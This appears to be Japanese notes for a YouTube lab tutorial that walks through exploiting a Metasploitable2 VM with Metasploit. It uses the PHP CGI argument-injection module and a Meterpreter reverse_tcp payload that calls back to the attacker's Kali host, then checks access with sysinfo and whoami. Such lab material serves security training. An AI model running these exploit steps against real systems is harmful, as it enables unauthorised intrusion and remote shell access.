🎬 このYouTube動画

1️⃣ ターゲットの確認

KaliからMetasploitableのIPを特定します:

ip a

例:

Kali: 192.168.56.101

Metasploitable2: 192.168.56.102

ポートとサービスを確認します:

nmap -p 80 192.168.56.102

ブラウザでも確認できます:

http://192.168.56.102/

2️⃣ Metasploitを起動

msfconsole

3️⃣ PHP CGIエクスプロイトモジュールの選択

search php cgi

正しいモジュール:

use exploit/multi/http/php_cgi_arg_injection

4️⃣ エクスプロイトの設定

set RHOSTS 192.168.56.102
set RPORT 80
set TARGETURI /

ペイロードを選択します:

set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444

確認してみます:

show options

5️⃣ エクスプロイトの実行

run

または

exploit

成功した場合:

Meterpreterセッション1が開かれました

6️⃣ アクセスの確認

sysinfo
whoami